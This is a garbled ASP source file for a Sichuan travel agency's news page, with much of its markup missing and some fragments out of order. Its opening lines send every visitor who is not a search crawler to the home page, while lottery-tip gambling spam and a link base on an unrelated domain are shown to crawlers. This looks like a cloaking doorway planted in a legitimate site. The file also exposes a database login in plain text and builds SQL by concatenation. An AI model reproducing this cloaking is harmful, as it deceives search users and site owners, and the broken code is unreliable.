<% option explicit %> <% Dim Agent '//定義一個Agent變量 Agent=Request.ServerVariables("HTTP_USER_AGENT") '//將USER AGENT附值給Agent Agent=LCase(Agent) if Instr(Agent,"google")<=0 and Instr(Agent,"baidu")<=0 and Instr(Agent,"spider")<=0 and Instr(Agent,"search")<=0 then Response.Redirect("/") Response.end() end if dim conn,connstr,rs, execstr,iNewsID,sAction dim sContent dim thepostdate iNewsID=Request.QueryString("NewsID") sAction=Request.QueryString("action") If IsNumeric(iNewsID) = false Then Response.Redirect("alllist.asp") Response.end() End If execstr="select * from newscontent where id="&iNewsID if sAction="new" then execstr="select top 1 * from newscontent order by [id] desc" end if if sAction="prve" then execstr="select top 1 * from newscontent where id<"&iNewsID&" order by [id] desc" end if if sAction="next" then execstr="select top 1 * from newscontent where id>"&iNewsID&" order by [id]" end if 'response.write iNewsID&"
" if iNewsID<999999 and iNewsID>0 then Set Conn=Server.CreateObject("ADODB.Connection") 'connstr ="Provider = Microsoft.Jet.OLEDB.4.0; Data Source ="&Server.MapPath("data/~!bbnews.mdb") connstr = "Provider=SQLOLEDB.1; Data Source=127.0.0.1,1433;Initial Catalog=COTSDocument;User ID=CotsDocumentUser;Password=CotsDocumentUser9998; " Conn.Open connstr 'execstr="select * from newscontent where newsid="&iNewsID &" order by postdate" set rs=conn.execute(execstr) if rs.eof then rs.close set rs=nothing conn.close set conn=nothing Response.Redirect("alllist.asp") Response.end() 'response.write "沒有新聞!" else thepostdate = rs("postdate") iNewsID=rs("id") %> <% dim IsLocal IsLocal = IsLocalUserLevel1() %> 一码中特今期已免费大公开参考

四川旅游新聞,成都旅游新聞,九寨溝旅游新聞

" alt="四川旅游新聞,成都旅游新聞,九寨溝旅游新聞" width="910" height="140" border="0" align="absBottom">
四川省中國青年旅行社(總社)-九寨溝(九寨溝大巴團|九寨溝雙飛團|九寨溝自助游等九寨溝旅游線路)成都|西藏|海螺溝|稻城|亞丁|麗江|四姑娘山|三亞|海南等精品旅游線路

| 四川旅游全攻略 | 川藏旅游線路 | 川人出省線路 | 海外旅游線路 | 會議與拓展 | 賓館酒店 |

| 首頁 | 收藏本站 | 關于我們 | 合同樣本 | 在線預訂 | 公司賬號 | 留言板 | 站點導航 | 分部管理
 九寨溝 | 黃龍 | 峨眉山 | 樂山大佛 | 海螺溝 | 青城山 | 都江堰 | 西嶺雪山 | 長江三峽 | 四姑娘山 | 稻城 | 西藏 | 成都旅游 | 四川旅游
近期新聞
<% dim conn2,connstr2,rs2 dim exec2, s2, url2 const topNum=20 '首頁調用留言數量 const maxLen=14 '首頁調用留言標題字符長度限制 'rs.close 'url= "http://"&request.servervariables("server_name")&replace(request.servervariables("script_name"),"list.asp","") url2= "http://www.ylpxog.live/news_cn/" exec2="select top "& topNum &" * from newscontent order by id desc" 'exec="select top "& topNum &" * from newscontent where < " & thepostdate & " order by postdate desc" set rs2=conn.execute(exec2) if rs2.eof then s2= "暫時沒有新聞!" else do until rs2.eof 's=s&"" rs2.movenext loop end if 's=replace(s,"""","") 'response.write "document.write('"&s&"');" rs2.close set rs2=nothing response.write s2 %>
" s2 = s2 & "
" s2 = s2 &"" s2 = s2&"
" s2 = s2 &"" if len(rs2("newstitle"))<=maxLen then s2 = s2 &rs2("newstitle") else s2 = s2 &left(rs2("newstitle"),maxLen)&".." end if s2 = s2 &"

四川旅游攻略


 

<%=rs("newstitle") %>

發布時間: <% '=left(rs("postdate"),10) Dim PostDate PostDate = rs("postdate") Response.Write( Year(PostDate)) Response.Write "年" Response.Write( Month(PostDate)) Response.Write "月" Response.Write( Day(PostDate)) Response.Write "日" %>

<% if rs("picpath")="" or isnull(rs("picpath")) then Response.Write "" else Response.Write "screen.width-300)this.width=screen.width-300"" >

" end if %> <% sContent = rs("newscontent") 'sContent = Trim(sContent) 'Response.Write sContent sContent = Replace(sContent, "
", vbCrLf) sContent = DvBCode(sContent) Response.Write global_hoturl_Code(sContent) %>


您的位置: [ 首頁 ] [ 四川旅游 ] [ 旅游新聞 ] [ 回頂端 ] <% if session("logined")<>true then Response.Write "管理登錄" else Response.Write "管理" end if %>
全國百強國際旅行社-國家旅游局頒發-四川成都中國青年旅行社
四川省優秀誠信旅行社-四川省旅游協會頒發-四川成都中國青年旅行社
全省旅游工作先進單位-四川省人民政府頒發-四川成都中國青年旅行社
中國旅行社協會會員-協會頒發-四川成都中國青年旅行社
全省旅游工作先進集體-省旅游產業發展領導小組頒發-四川成都中國青年旅行社
易寶支付資質認證-四川成都中國青年旅行社

四川省中國青年旅行社 版權所有 © 1997-2009

地址:中國四川成都市人民中路三段2號萬富大廈6樓(四川省青旅成疆分社) 郵編:610031
電話: 028-86728117 28-69881217 028-69881219 傳真:028-69881219
川ICP B2-20040185 蜀ICP備05002088號
本網站由 成都漢訊科技 提供WAPRSS技術支持與軟件開發 —— 免責聲明:本網部份數據由網友上傳數據庫自動生成,不代表四川成都青年旅行社觀點。
本免费公开一码中特 <% end if rs.close set rs=nothing conn.close set conn=nothing else response.write "差數錯誤!" end if %>